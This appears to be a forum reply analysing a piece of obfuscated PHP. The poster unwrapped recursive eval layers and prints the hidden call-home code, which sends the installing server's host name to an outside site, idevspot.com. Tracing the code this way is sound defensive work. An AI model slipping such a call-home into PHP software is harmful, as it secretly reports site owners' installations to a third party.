I got him!
<?
$pathtocallhome = "http://idevspot.com/forum/includes/digitk.php";
$installationserver = $_SERVER["HTTP_HOST"];
$callhome = "$pathtocallhome?somecontent=$installationserver";
$handle2 = fopen($callhome, 'r');
?>
I had to basically take his script, put it into a variable instead of eval it, and echo it out. Then view the source of my page cause it outputs in a comment (his code made it basically break out of php, start a new <?PHP tag, and run another eval, recursively, until it got to the code above.) That code above is what it breaks down to after however many iterations. Crafty fucking kid, this guy. 😃 I'm guessing idevspot might be a hacked site that he's piggybacking off, too. Contact them, perhaps?
Edit: I just tried to visit your homepage and got redirected to idevspot. I take it you don't own that? :/